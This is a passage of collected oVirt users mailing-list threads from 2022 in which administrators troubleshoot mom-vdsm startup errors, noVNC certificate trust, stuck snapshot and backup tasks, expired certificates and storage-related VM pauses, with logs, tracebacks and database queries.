   return self.policy.set_policy(policy_name, policyStr)
 File "/usr/lib/python3.6/site-packages/mom/Policy/Policy.py",
line 64, in set_policy
   self.code = get_code(Evaluator(), self._cat_policies())
 File "/usr/lib/python3.6/site-packages/mom/Policy/Parser.py",
line 543, in get_code
   tokens = scanner.tokenize(string)
 File "/usr/lib/python3.6/site-packages/mom/Policy/Parser.py",
line 72, in tokenize
   GenericScanner.tokenize(self, input)
 File "/usr/lib/python3.6/site-packages/mom/Policy/spark.py", line
78, in tokenize
   add_lines = self.index2func[i](groups[i], line)
TypeError: t_default() takes 2 positional arguments but 3 were given


any tip what could be the reason ?

Thaak you

Jirka

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--
Martin Perina
Manager, Software Engineering
Red Hat Czech s.r.o.

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[ovirt-users] mom-vdsm service is failing after update to 4.5.3.2-1.el8

[Jirka Simon]

Hello there,

we just updated oVirt engine to 4.5.3.2-1.el8 which was smooth, but then 
when we start to update all nodes, after restart mom-vdsm service is 
failing to start


mom-vdsm

rpm -q vdsm
vdsm-4.50.3.4-1.el8.x86_64 (VDSM was updated from 4.50.2.2-1.el8 )

rpm -q mom
mom-0.6.3-1.el8.noarch  (MOM was not updated duting tha last update)

here is error from /var/log/vdsm/mom.log

2022-10-28 13:17:18,105 - mom - INFO - MOM starting
2022-10-28 13:17:18,138 - mom.HostMonitor - INFO - Host Monitor starting
2022-10-28 13:17:18,138 - mom - INFO - hypervisor interface 
vdsmjsonrpcclient

2022-10-28 13:17:18,179 - mom.HostMonitor - INFO - HostMonitor is ready
2022-10-28 13:17:18,242 - mom.GuestManager - INFO - Guest Manager 
starting: multi-thread

2022-10-28 13:17:18,247 - mom.Policy - INFO - Loaded policy '00-defines'
2022-10-28 13:17:18,247 - mom - ERROR - Failed to initialize MOM threads
Traceback (most recent call last):
 File "/usr/lib/python3.6/site-packages/mom/__init__.py", line 35, in run
   host_monitor, guest_manager)
 File "/usr/lib/python3.6/site-packages/mom/PolicyEngine.py", line 42, 
in __init__

   self.load_policy()
 File "/usr/lib/python3.6/site-packages/mom/PolicyEngine.py", line 71, 
in load_policy

   read_policy(fname, name.split('.policy')[0])
 File "/usr/lib/python3.6/site-packages/mom/PolicyEngine.py", line 53, 
in read_policy

   return self.policy.set_policy(policy_name, policyStr)
 File "/usr/lib/python3.6/site-packages/mom/Policy/Policy.py", line 64, 
in set_policy

   self.code = get_code(Evaluator(), self._cat_policies())
 File "/usr/lib/python3.6/site-packages/mom/Policy/Parser.py", line 
543, in get_code

   tokens = scanner.tokenize(string)
 File "/usr/lib/python3.6/site-packages/mom/Policy/Parser.py", line 72, 
in tokenize

   GenericScanner.tokenize(self, input)
 File "/usr/lib/python3.6/site-packages/mom/Policy/spark.py", line 78, 
in tokenize

   add_lines = self.index2func[i](groups[i], line)
TypeError: t_default() takes 2 positional arguments but 3 were given


any tip what could be the reason ?

Thaak you

Jirka
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[ovirt-users] Re: VM Disk extend not reflected in VM oS

[simon]

Hi Strahil,

Apologies for the delay. 


# lsblk
NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
sda 8:00  100G  0 disk
`-sda1  8:10  100G  0 part
  |-vg00-root 253:40   99G  0 lvm  /
  `-vg00-swap_1   253:50  980M  0 lvm  [SWAP]
sdb 8:16   0  100G  0 disk
`-sdb1  8:17   0  100G  0 part
  |-vg_02-lv_nfs-real 253:00   95G  0 lvm
  | |-vg_02-lv_nfs253:10   95G  0 lvm  /nfs
  | `-vg_02-lv_nfs_snap   253:30   95G  0 lvm
  `-vg_02-lv_nfs_snap-cow 253:201G  0 lvm
`-vg_02-lv_nfs_snap   253:30   95G  0 lvm
sr011:01 1024M  0 rom

We have tried all manner of rescans ( 
https://serverfault.com/questions/306737/how-do-i-get-centos-vm-to-re-read-its-increased-disk-size-without-a-reboot
 ) but nothing shows the additional space allocated.

Regards

Simon
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[ovirt-users] Re: noVNC console doesn't work.

[Jirka Simon]

Hi Patrick,

thank you a lot for clarification how it is it with certificates and 
noVNC, when I added engine internal CA to the system it stared to work, 
but how is possible that it worked before yesteraday's update without 
trusted CA in my system.


Jirka

On 10/4/22 02:14, Patrick Hibbs wrote:
If that file doesn't exist on the engine VM, then you might want to 
try checking the RPM database on that VM and make that sure you don't 
have broken packages. Run $dnf check and $rpm --verify -a
That should give you a list of what packages are broken and what files 
are missing / corrupted. You can then reinstall the affected packages.


The CA used by noVNC is the engine's internal CA. Regardless as to 
what apache is set to use on the engine host. Your paid CA cert is 
irrelevant here.
Longer explanation: The VNC connection originates from the hypervisor 
host running the target VM, not the engine VM itself. Essentially, 
noVNC is a web app that was pulled into the browser using a connection 
secured by your paid CA, then the web app established a new connection 
to a different server (the hypervisor host) using a different CA (the 
engine's internal CA).


-Patrick Hibbs

On Mon, 2022-10-03 at 20:47 +0200, Jirka Simon wrote:

Ahoj Michale,

I tried it and the result is the same.  Message in engine log is 
strange file really doesn't exists 
'/usr/share/ovirt-engine/files/novnc/vendor/promise.js on the engone VM.


Certificate we use is valid with payed  CA and its CA is in any 
browser by default. Maybe there can be something wrong when i changed 
default certificate to the custom one. But before today's morning 
upgrade everything worked fine.


let me check this.


Thank you

Jirka


On 10/3/22 14:24, Michal Skrivanek wrote:

There's been no interesting change between these versions. I would 
rather suspect certificates...can you try in brand new browser 
sessions and make sure the engine CA is imported?





On 3. 10. 2022, at 13:40, Jirka Simon  wrote:

Hello there,

after update from 4.5.2.4 to 4.5.2.5 stopped to work noVNC client 
within browser,  it writes  Something went wrong, connection is 
closed in browser and then i th engine log is this message.


2022-10-03 13:34:55,772+02 INFO 
 [org.ovirt.engine.core.utils.servlet.ServletUtils] (default 
task-13) [] Can't read file 
'/usr/share/ovirt-engine/files/novnc/vendor/promise.js' for request 
'/ovirt-engine/services/files/novnc/vendor/promise.js' -- 404


thank k you for any advice.


Jirka

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[ovirt-users] Re: noVNC console doesn't work.

[Jirka Simon]

Ahoj Michale,

I tried it and the result is the same.  Message in engine log is strange 
file really doesn't exists 
'/usr/share/ovirt-engine/files/novnc/vendor/promise.js on the engone VM.


Certificate we use is valid with payed  CA and its CA is in any browser 
by default. Maybe there can be something wrong when i changed default 
certificate to the custom one. But before today's morning upgrade 
everything worked fine.


let me check this.


Thank you

Jirka


On 10/3/22 14:24, Michal Skrivanek wrote:
There's been no interesting change between these versions. I would 
rather suspect certificates...can you try in brand new browser 
sessions and make sure the engine CA is imported?




On 3. 10. 2022, at 13:40, Jirka Simon  wrote:

Hello there,

after update from 4.5.2.4 to 4.5.2.5 stopped to work noVNC client 
within browser,  it writes  Something went wrong, connection is 
closed in browser and then i th engine log is this message.


2022-10-03 13:34:55,772+02 INFO 
 [org.ovirt.engine.core.utils.servlet.ServletUtils] (default task-13) 
[] Can't read file 
'/usr/share/ovirt-engine/files/novnc/vendor/promise.js' for request 
'/ovirt-engine/services/files/novnc/vendor/promise.js' -- 404


thank k you for any advice.


Jirka

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[ovirt-users] noVNC console doesn't work.

[Jirka Simon]

Hello there,

after update from 4.5.2.4 to 4.5.2.5  stopped to work noVNC client 
within browser,  it writes  Something went wrong, connection is closed 
in browser and then i th engine log is this message.


2022-10-03 13:34:55,772+02 INFO 
 [org.ovirt.engine.core.utils.servlet.ServletUtils] (default task-13) 
[] Can't read file 
'/usr/share/ovirt-engine/files/novnc/vendor/promise.js' for request 
'/ovirt-engine/services/files/novnc/vendor/promise.js' -- 404


thank k you for any advice.


Jirka
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[ovirt-users] Re: Snapshot task stuck at oVirt 4.4.8

[Jirka Simon]

Hi Nicolas,

we had the same problem before we upgraded to 4.5.X

you can check locks with 
/usr/share/ovirt-engine/setup/dbutils/unlock_entity.sh -t all  -qc


and then unlock

/usr/share/ovirt-engine/setup/dbutils/unlock_entity.sh -t snapshot 
snapshot_id


or sometime helped just power off and power on the VM and snapshot task 
failed.


Jirka

On 9/20/22 10:26, nico...@devels.es wrote:

Hi,

We're running oVirt 4.4.8 and one of our users tried to create a 
snapshot on a VM. The snapshot task got stuck (not sure why) and since 
then a "locked" icon is being shown on the VM. We need to remove this 
VM, but since it has a pending task, we're unable.


The ovirt-engine log shows hundreds of events like:

[2022-09-20 09:23:09,286+01 INFO 
[org.ovirt.engine.core.bll.SerialChildCommandsExecutionCallback] 
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-27) 
[2769dad5-3ec3-4c46-90a2-924746ea8d97] Command 'CreateSnapshotForVm' 
(id: '4fcb6ab7-2cd7-4a0c-be97-f6979be25bb9') waiting on child command 
id: 'cbb7a2c0-2111-4958-a55d-d48bf2d8591b' 
type:'CreateLiveSnapshotForVm' to complete


An ovirt-engine restart didn't make any difference.

Is there a way to remove this task manually, even changing something 
in the DB?


Thanks.
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[ovirt-users] Re: long time running backup (hanged in image finalizing state )

[Jirka Simon]

Hi Benny,

thank you a lot for your help.  (task in vprotect already time outed, 
and finalize backup  with api was successfull )


I'm looking forward for the new version :D


Jirka

On 9/19/22 14:41, Benny Zlotnik wrote:

Yes, the backup needs to be finalized separately, I'm not familiar
with how vProtect works but if it won't finalize this backup
automatically you can do it yourself by sending a POST request to:
https://engine/ovirt-engine/api/vms/c3b2199f-35cc-41dc-8787-835e945217d2/backups/b9c458e6-64e2-41c2-93b8-96761e71f82b/finalize

On Mon, Sep 19, 2022 at 3:32 PM Jirka Simon  wrote:

ah I see,  thank you.

image transfer row already dissipated, but backup task is still there with last 
update on Saturday's night.

and in the job table is the same

select * from job;
job_id| action_type  |   
description| status  |   owner_id   | 
visible | start_time | end_time | last_upda
te_time  |correlation_id| is_external | 
is_auto_cleared | engine_session_seq_id
--+--+--+-+--+-++--+--
-+--+-+-+---
818a893d-05bc-436e-b27d-a7123d2b29f7 | HybridBackup | Backing up VM 
log1.util.prod.hq.sldev.cz | STARTED | 775e759c-255e-11ed-9c24-00163e2172be | t 
  | 2022-09-17 00:44:56.562+02 |  | 2022-09-17 00
:45:17.99+02 | 26fa4612-8e4a-4142-89a2-c38adacead86 | f   | t   
|  3788
(1 row)

select * from vm_backups;
  backup_id   | from_checkpoint_id |   
to_checkpoint_id   |vm_id | phase | 
   _create_date| host_id | description |_up
date_date| backup_type | snapshot_id  | 
is_stopped
--++--+--+---++-+-+---
-+-+--+
b9c458e6-64e2-41c2-93b8-96761e71f82b || 
7a558f2a-57b6-432f-b5dd-85f5fb9dac8e | c3b2199f-35cc-41dc-8787-835e945217d2 | 
Ready | 2022-09-17 00:44:56.877+02 | | | 2022-09-17
00:45:19.057+02 | hybrid  | 0c6ebd56-dcfe-46a8-91cc-327cc94e9773 | f


Jirka


On 9/19/22 14:03, Benny Zlotnik wrote:

Completed transfers (phase 9/10) shouldn't interfere with anything and
are cleared automatically after 15 minutes

On Mon, Sep 19, 2022 at 2:48 PM Jirka Simon  wrote:

Hello Benny,

thank you, i updater phase to 9 and restarted ovirt engine , but it is still 
there. should i update phase column in vm_backups table as well ?


Jirka


On 9/19/22 13:27, Benny Zlotnik wrote:

OK, I see an issue with the transfer
2022-09-17 01:43:05,856+02 INFO
[org.ovirt.engine.core.bll.storage.disk.image.ImageTransferUpdater]
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-74)
  [7f8657ae-1f57-438f-b849-80aa9e805021] Updating image transfer
'8d8e2674-ac0a-47cd-887f-d0cf6ee5e4ba' phase from 'Finalizing Success'
to 'Finished Success'
2022-09-17 01:43:05,873+02 INFO
[org.ovirt.engine.core.dal.dbbroker.auditloghandling.AuditLogDirector]
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-
74) [7f8657ae-1f57-438f-b849-80aa9e805021] EVENT_ID:
TRANSFER_IMAGE_SUCCEEDED(1,032), Image Download with disk
log1.util.prod.hq.sldev.cz_log1.util.prod.hq.sldev.cz succeede
d.
2022-09-17 01:43:09,194+02 INFO
[org.ovirt.engine.core.sso.service.AuthenticationService] (default
task-122) [] User admin@internal-authz with profile [internal]
successful
ly logged in with scopes: ovirt-app-api
ovirt-ext=token-info:authz-search
ovirt-ext=token-info:public-authz-search ovirt-ext=token-info:validate
ovirt-ext=token:password-acc
ess
2022-09-17 01:43:09,216+02 INFO
[org.ovirt.engine.core.bll.aaa.CreateUserSessionCommand] (default
task-122) [1d4c2113] Running command: CreateUserSessionCommand
internal: f
alse.
2022-09-17 01:43:09,223+02 INFO
[org.ovirt.engine.core.dal.dbbroker.auditloghandling.AuditLogDirector]
(default task-122) [1d4c2113] EVENT_ID: USER_VDC_LOGIN(30), User admi
n@internal-authz connecting from '10.36.191.253' using session
'PS71uIYNYn6AJH4NSLfuEtGxMCrWEYS4SqiawmvWMQHAwVXkXXS8o1IdoMQkPINtUIkZY+qojVNeC4oeSSnBwA=='
logged in.
2022-09-17 01:43:09,228+02 INFO
[org.ovirt.engine.core.bll.storage.disk.image.TransferImageStatusCommand]
(default task-122) [dab3e098-03a8-46d3-b2c6-5952a4236090] Running
command: TransferImageStatusCommand internal: false. Entities affected
:  ID

[ovirt-users] Re: long time running backup (hanged in image finalizing state )

[Jirka Simon]

ah I see,  thank you.

image transfer row already dissipated, but backup task is still there 
with last update on Saturday's night.


and in the job table is the same

select * from job;
   job_id    | action_type  | 
  description    | status  | 
  owner_id   | visible | start_time 
| end_time | last_upda
te_time  |    correlation_id    | is_external | 
is_auto_cleared | engine_session_seq_id
--+--+--+-+--+-++--+-- 

-+--+-+-+--- 

818a893d-05bc-436e-b27d-a7123d2b29f7 | HybridBackup | Backing up VM 
log1.util.prod.hq.sldev.cz | STARTED | 
775e759c-255e-11ed-9c24-00163e2172be | t   | 2022-09-17 
00:44:56.562+02 |  | 2022-09-17 00
:45:17.99+02 | 26fa4612-8e4a-4142-89a2-c38adacead86 | f   | t 
  |  3788

(1 row)

select * from vm_backups;
 backup_id   | from_checkpoint_id | 
  to_checkpoint_id   |    vm_id 
| phase |    _create_date    | host_id | 
description |    _up
date_date    | backup_type | snapshot_id  | 
is_stopped
--++--+--+---++-+-+--- 

-+-+--+ 

b9c458e6-64e2-41c2-93b8-96761e71f82b |    | 
7a558f2a-57b6-432f-b5dd-85f5fb9dac8e | 
c3b2199f-35cc-41dc-8787-835e945217d2 | Ready | 2022-09-17 
00:44:56.877+02 | | | 2022-09-17

00:45:19.057+02 | hybrid  | 0c6ebd56-dcfe-46a8-91cc-327cc94e9773 | f


Jirka


On 9/19/22 14:03, Benny Zlotnik wrote:

Completed transfers (phase 9/10) shouldn't interfere with anything and
are cleared automatically after 15 minutes

On Mon, Sep 19, 2022 at 2:48 PM Jirka Simon  wrote:

Hello Benny,

thank you, i updater phase to 9 and restarted ovirt engine , but it is still 
there. should i update phase column in vm_backups table as well ?


Jirka


On 9/19/22 13:27, Benny Zlotnik wrote:

OK, I see an issue with the transfer
2022-09-17 01:43:05,856+02 INFO
[org.ovirt.engine.core.bll.storage.disk.image.ImageTransferUpdater]
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-74)
  [7f8657ae-1f57-438f-b849-80aa9e805021] Updating image transfer
'8d8e2674-ac0a-47cd-887f-d0cf6ee5e4ba' phase from 'Finalizing Success'
to 'Finished Success'
2022-09-17 01:43:05,873+02 INFO
[org.ovirt.engine.core.dal.dbbroker.auditloghandling.AuditLogDirector]
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-
74) [7f8657ae-1f57-438f-b849-80aa9e805021] EVENT_ID:
TRANSFER_IMAGE_SUCCEEDED(1,032), Image Download with disk
log1.util.prod.hq.sldev.cz_log1.util.prod.hq.sldev.cz succeede
d.
2022-09-17 01:43:09,194+02 INFO
[org.ovirt.engine.core.sso.service.AuthenticationService] (default
task-122) [] User admin@internal-authz with profile [internal]
successful
ly logged in with scopes: ovirt-app-api
ovirt-ext=token-info:authz-search
ovirt-ext=token-info:public-authz-search ovirt-ext=token-info:validate
ovirt-ext=token:password-acc
ess
2022-09-17 01:43:09,216+02 INFO
[org.ovirt.engine.core.bll.aaa.CreateUserSessionCommand] (default
task-122) [1d4c2113] Running command: CreateUserSessionCommand
internal: f
alse.
2022-09-17 01:43:09,223+02 INFO
[org.ovirt.engine.core.dal.dbbroker.auditloghandling.AuditLogDirector]
(default task-122) [1d4c2113] EVENT_ID: USER_VDC_LOGIN(30), User admi
n@internal-authz connecting from '10.36.191.253' using session
'PS71uIYNYn6AJH4NSLfuEtGxMCrWEYS4SqiawmvWMQHAwVXkXXS8o1IdoMQkPINtUIkZY+qojVNeC4oeSSnBwA=='
logged in.
2022-09-17 01:43:09,228+02 INFO
[org.ovirt.engine.core.bll.storage.disk.image.TransferImageStatusCommand]
(default task-122) [dab3e098-03a8-46d3-b2c6-5952a4236090] Running
command: TransferImageStatusCommand internal: false. Entities affected
:  ID: aaa0----123456789aaa Type: SystemAction group
CREATE_DISK with role type USER
2022-09-17 01:43:09,229+02 INFO
[org.ovirt.engine.core.bll.storage.disk.image.ImageTransferUpdater]
(default task-122) [dab3e098-03a8-46d3-b2c6-5952a4236090] Updating
image
  transfer '8d8e2674-ac0a-47cd-887f-d0cf6ee5e4ba' phase from 'Finished
Success' to 'Finalizing Success'

The phase of the transfer was moved from Finished Success (phase 9) to
Finalizing Success (phase 7), this is a bug [1] in oVirt that was
fixed and will be in the next release, this also means that t

[ovirt-users] Re: long time running backup (hanged in image finalizing state )

[Jirka Simon]

Hello Benny,

thank you, i updater phase to 9 and restarted ovirt engine , but it is 
still there. should i update phase column in vm_backups table as well ?



Jirka


On 9/19/22 13:27, Benny Zlotnik wrote:

OK, I see an issue with the transfer
2022-09-17 01:43:05,856+02 INFO
[org.ovirt.engine.core.bll.storage.disk.image.ImageTransferUpdater]
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-74)
  [7f8657ae-1f57-438f-b849-80aa9e805021] Updating image transfer
'8d8e2674-ac0a-47cd-887f-d0cf6ee5e4ba' phase from 'Finalizing Success'
to 'Finished Success'
2022-09-17 01:43:05,873+02 INFO
[org.ovirt.engine.core.dal.dbbroker.auditloghandling.AuditLogDirector]
(EE-ManagedScheduledExecutorService-engineScheduledThreadPool-Thread-
74) [7f8657ae-1f57-438f-b849-80aa9e805021] EVENT_ID:
TRANSFER_IMAGE_SUCCEEDED(1,032), Image Download with disk
log1.util.prod.hq.sldev.cz_log1.util.prod.hq.sldev.cz succeede
d.
2022-09-17 01:43:09,194+02 INFO
[org.ovirt.engine.core.sso.service.AuthenticationService] (default
task-122) [] User admin@internal-authz with profile [internal]
successful
ly logged in with scopes: ovirt-app-api
ovirt-ext=token-info:authz-search
ovirt-ext=token-info:public-authz-search ovirt-ext=token-info:validate
ovirt-ext=token:password-acc
ess
2022-09-17 01:43:09,216+02 INFO
[org.ovirt.engine.core.bll.aaa.CreateUserSessionCommand] (default
task-122) [1d4c2113] Running command: CreateUserSessionCommand
internal: f
alse.
2022-09-17 01:43:09,223+02 INFO
[org.ovirt.engine.core.dal.dbbroker.auditloghandling.AuditLogDirector]
(default task-122) [1d4c2113] EVENT_ID: USER_VDC_LOGIN(30), User admi
n@internal-authz connecting from '10.36.191.253' using session
'PS71uIYNYn6AJH4NSLfuEtGxMCrWEYS4SqiawmvWMQHAwVXkXXS8o1IdoMQkPINtUIkZY+qojVNeC4oeSSnBwA=='
logged in.
2022-09-17 01:43:09,228+02 INFO
[org.ovirt.engine.core.bll.storage.disk.image.TransferImageStatusCommand]
(default task-122) [dab3e098-03a8-46d3-b2c6-5952a4236090] Running
command: TransferImageStatusCommand internal: false. Entities affected
:  ID: aaa0----123456789aaa Type: SystemAction group
CREATE_DISK with role type USER
2022-09-17 01:43:09,229+02 INFO
[org.ovirt.engine.core.bll.storage.disk.image.ImageTransferUpdater]
(default task-122) [dab3e098-03a8-46d3-b2c6-5952a4236090] Updating
image
  transfer '8d8e2674-ac0a-47cd-887f-d0cf6ee5e4ba' phase from 'Finished
Success' to 'Finalizing Success'

The phase of the transfer was moved from Finished Success (phase 9) to
Finalizing Success (phase 7), this is a bug [1] in oVirt that was
fixed and will be in the next release, this also means that the backup
client finalized the transfer twice.
Since the transfer is complete you can move it to phase 9, and
finalize the backup

[1]https://bugzilla.redhat.com/show_bug.cgi?id=2092816

On Mon, Sep 19, 2022 at 2:20 PM Jirka Simon  wrote:

Hi Benny,

Thank you for Very fast answer.

no I haven't done anything with it yet

here is record from image_transfer table

select *  from image_transfers;
  command_id  | command_type | phase |
last_updated| message |vds_id|  
 disk_id| imaged_ti
cket_id | proxy_uri |  bytes_sent  | 
bytes_total  | type | active |daemon_uri | 
client_inactivity_timeout | image_format | ba
ckend |  backup_id   | client_type | shallow | 
timeout_policy
--+--+---++-+--+--+--
+---+--+--+--++---+---+--+---
--+--+-+-+
8d8e2674-ac0a-47cd-887f-d0cf6ee5e4ba | 1024 | 7 | 2022-09-17 
01:43:09.229+02 | | a7d6e143-4230-42af-863b-d83667810d78 | 
950279ef-485c-400e-ba66-a3f545618de5 |
|https://ovirtm.corp.sldev.cz:54323/images  | 214748364800 | 
214748364800 |1 | f  |https://ovirt4.corp.sldev.cz:54322/images  |  
3600 |5 |
1 | b9c458e6-64e2-41c2-93b8-96761e71f82b |   2 | f   | legacy
(1 row)


Backup is performed from vProtect, we used  image transfer backup earlier, but 
we had problem with hanged snapshots as well (it was on ovirt4.4 we discused it 
couple weeks ago, now we have 4.5 and the situation is the same. And we wanted 
to try CBT backups)


thank you Jirka



On 9/19/22 13:08, Benny Zlotnik wrote:

Please attach the ovirt-engine logs

The backup has the ready status, did you finalize it?
Can show all the fields for the disk transfer? Was it finalized?
How is the backup perform

[ovirt-users] long time running backup (hanged in image finalizing state )

[Jirka Simon]

Hello there.

we have issue with backups on our cluster, one backup started 2 days ago 
and is is still in state finalizing.


select * from vm_backups;
 backup_id   | from_checkpoint_id | 
  to_checkpoint_id   |    vm_id 
| phase |    _create_date    | host_id | des
cription |    _update_date    | backup_type | 
snapshot_id  | is_stopped
--++--+--+---++-+ 

-++-+--+ 

b9c458e6-64e2-41c2-93b8-96761e71f82b |    | 
7a558f2a-57b6-432f-b5dd-85f5fb9dac8e | 
c3b2199f-35cc-41dc-8787-835e945217d2 | Ready | 2022-09-17 
00:44:56.877+02 | |
| 2022-09-17 00:45:19.057+02 | hybrid  | 
0c6ebd56-dcfe-46a8-91cc-327cc94e9773 | f

(1 row)


and if I check imagetransfer table, I see bytes_sent = bytes_total.

engine=# select it.disk_id,bd.disk_alias,it.last_updated, it.bytes_sent, 
it.bytes_total  from image_transfers as it , base_disks as bd where 
 it.disk_id =  bd.disk_id;
  disk_id    |  disk_alias 
  |    last_updated    |  bytes_sent  | 
bytes_total
--+---++--+-- 

950279ef-485c-400e-ba66-a3f545618de5 | 
log1.util.prod.hq.sldev.cz_log1.util.prod.hq.sldev.cz | 2022-09-17 
01:43:09.229+02 | 214748364800 | 214748364800



there is no error in logs


if i use /usr/share/ovirt-engine/setup/dbutils/unlock_entity.sh -t all 
 -qc  there is no record in any part.



I can clean these record from DB to fix it but it will happen again in 
few days.



vdsm.x86_64 4.50.2.2-1.el8

ovirt-engine.noarch 4.5.2.4-1.el8


is there anything i can check to find reason of this ?


Thank you Jirka

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[ovirt-users] Re: Engine and host certificates expired

[simon]

Thanks Didi,

All certificates updated and oVirt environment 100% healthy.

Regards

Simon...
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[ovirt-users] Re: Engine and host certificates expired

[simon]

Many thanks Didi,

I presume the above command can be used with the --offline option

'engine-setup --offline 
--otopi-environment=OVESETUP_CONFIG/continueSetupOnHEVM=bool:True'

Kind regards

Simon...
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[ovirt-users] Re: Engine and host certificates expired

[simon]

I tried your 'Try restore old certificates and simply run again engine-setup' 
but the validation fails with:
-
[ ERROR ] It seems that you are running your engine inside of the hosted-engine 
VM and are not in "Global Maint 
enance" mode.
 In that case you should put the system into the "Global Maintenance" 
mode before running engine-setup,   
   or the hosted-engine HA agent might kill the 
machine, which might corrupt your data.

[ ERROR ] Failed to execute stage 'Setup validation': Hosted Engine setup 
detected, but Global Maintenance is n   
  ot set.
-
even though I have placed it into Global Maintenance mode.

The problem is that all 3 hosts are currently 'Non Responsive'

FYI - In another environment where the vdsm certificates had expired on one of 
2 clusters, copying the certs from a host in the other cluster allowed the 
hosts to become responsive so I could 'Enroll certificates'.

Shimme
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[ovirt-users] Re: Engine and host certificates expired

[simon]

I made a backup of the /etc/pki/ directory and subfolders prior to overwriting 
the certs.

Copying an indate cert was the only way I couldget the engine started.

Is there a commandline procedure to do the same task as 'Enroll Certificates' 
via the WebUI?

Shimme
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[ovirt-users] Engine and host certificates expired

[simon]

I have an environment where the engine wouldn’t start and the certificate 
expiry dates were as follows.

Host1 - 25th Sep 2022
Host2 - 11th Aug 2022
Host3 - 11th Aug 2022

I copied the vdsm certs from Host1 to Host2 & Host3

Engine then started on Host1 and then backed up.

Engine cert expiry 11th Aug 2022

I put the cluster into Global Maintenance mode and then tried:

‘engine-setup —offline’

Which failed as the validation check said the engine wasn’t in Global 
Maintenance mode even though ‘hosted-engine —vm-status said it was.

None of the Hosts are ‘GREEN’ (can’t remember what the status was as I’m 
writing this from memory) but their status is ’RED’.

There are VMs running on the 3 Hosts and I’m reluctant to restart anything at 
the moment.

Is there a way to refresh the engine certificate to get past this or do I need 
to restart vdsm service on each host to bring them back online as far as the 
engine is concerned?

The environment is currently at 4.4.6 and is to be upgraded to 4.5.2 next month.

Any help as always will be greatly appreciated.

Kind regards

Simon
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[ovirt-users] VM has been paused due to no Storage space error on ovirt 4.5

[Jirka Simon]

Hi there,

last days we are facing issues with paused VMs  (in past it was for  few 
second to resize lv device), but now it doesn't resume. we migrated to 
4.5.2 cluster, this never happened before with the same storage.



there is almost notning in  engine log

2022-09-06 09:47:11,160+02 INFO 
 [org.ovirt.engine.core.vdsbroker.monitoring.VmAnalyzer] 
(ForkJoinPool-1-worker-9) [51eb7178] VM 
'cfff0648-6502-4977-95a8-c6f95c723f6d'(cm1.util.prod.hq.slde

v.cz) moved from 'Up' --> 'Paused'
2022-09-06 09:47:11,264+02 INFO 
 [org.ovirt.engine.core.dal.dbbroker.auditloghandling.AuditLogDirector] 
(ForkJoinPool-1-worker-9) [51eb7178] EVENT_ID: VM_PAUSED(1,025), VM 
cm1.util.prod.hq.

sldev.cz has been paused.
2022-09-06 09:47:11,271+02 ERROR 
[org.ovirt.engine.core.dal.dbbroker.auditloghandling.AuditLogDirector] 
(ForkJoinPool-1-worker-9) [51eb7178] EVENT_ID: VM_PAUSED_ENOSPC(138), VM 
cm1.util.pro

d.hq.sldev.cz has been paused due to no Storage space error.


but there are erros with LVM in vdsmlog.  (attached)


ovirt 4.5.2

OS - ovirt-node-ng.


Thank you for any hint.

Jirka
2022-09-06 09:47:00,702+0200 INFO  (jsonrpc/1) [api.host] START getAllVmStats() from=::1,60738 (api:48)
2022-09-06 09:47:00,715+0200 INFO  (jsonrpc/1) [api.host] FINISH getAllVmStats return={'status': {'code': 0, 'message': 'Done'}, 'statsList': (suppressed)} from=::1,60738 (api:54)
2022-09-06 09:47:00,872+0200 INFO  (monitor/cf819cb) [storage.storagedomaincache] Removing domain cf819cb9-a51f-4b7a-baf6-a2a472aae6da from storage domain cache (sdc:211)
2022-09-06 09:47:01,301+0200 WARN  (monitor/cf819cb) [storage.lvm] Command ['/sbin/lvm', 'vgs', '--devices', '/dev/mapper/36589cfc004b7c76d143cdc41ac27,/dev/mapper/36589cfc00512813b031ea0c556e6,/dev/mapper/36589cfc00667f45684cee766d4aa', '--config', 'devices {  preferred_names=["^/dev/mapper/"]  ignore_suspended_devices=1  write_cache_state=0  disable_after_error_count=3hints="none"  obtain_device_list_from_udev=0 } global {  prioritise_write_locks=1  wait_for_locks=1  use_lvmpolld=1 } backup {  retain_min=50  retain_days=0 }', '--noheadings', '--units', 'b', '--nosuffix', '--separator', '|', '--ignoreskippedcluster', '-o', 'uuid,name,attr,size,free,extent_size,extent_count,free_count,tags,vg_mda_size,vg_mda_free,lv_count,pv_count,pv_name', 'cf819cb9-a51f-4b7a-baf6-a2a472aae6da'] succeeded with warnings: ['  Error reading device /dev/mapper/36589cfc004b7c76d143cdc41ac27 at 10115372744704 length 512.', '  Failed to read metadata area header on /dev/mapper/36589cfc004b7c76d143cdc41ac27 at 10115372744704', '  WARNING: bad metadata header on /dev/mapper/36589cfc004b7c76d143cdc41ac27 at 10115372744704.', '  WARNING: scanning /dev/mapper/36589cfc004b7c76d143cdc41ac27 mda2 failed to read metadata summary.', '  WARNING: repair VG metadata on /dev/mapper/36589cfc004b7c76d143cdc41ac27 with vgck --updatemetadata.', '  WARNING: Device /dev/mapper/36589cfc004b7c76d143cdc41ac27 has size of 15032385536 sectors which is smaller than corresponding PV size of 19756323200 sectors. Was device resized?', '  WARNING: One or more devices used as PVs in VG cf819cb9-a51f-4b7a-baf6-a2a472aae6da have changed sizes.'] (lvm:358)
2022-09-06 09:47:01,458+0200 WARN  (monitor/cf819cb) [storage.lvm] Command ['/sbin/lvm', 'vgck', '--devices', '/dev/mapper/36589cfc004b7c76d143cdc41ac27', '--config', 'devices {  preferred_names=["^/dev/mapper/"]  ignore_suspended_devices=1  write_cache_state=0  disable_after_error_count=3hints="none"  obtain_device_list_from_udev=0 } global {  prioritise_write_locks=1  wait_for_locks=1  use_lvmpolld=1 } backup {  retain_min=50  retain_days=0 }', 'cf819cb9-a51f-4b7a-baf6-a2a472aae6da'] succeeded with warnings: ['  Error reading device /dev/mapper/36589cfc004b7c76d143cdc41ac27 at 10115372744704 length 512.', '  Failed to read metadata area header on /dev/mapper/36589cfc004b7c76d143cdc41ac27 at 10115372744704', '  WARNING: bad metadata header on /dev/mapper/36589cfc004b7c76d143cdc41ac27 at 10115372744704.', '  WARNING: scanning /dev/mapper/36589cfc004b7c76d143cdc41ac27 mda2 failed to read metadata summary.', '  WARNING: repair VG metadata on /dev/mapper/36589cfc004b7c76d143cdc41ac27 with vgck --updatemetadata.', '  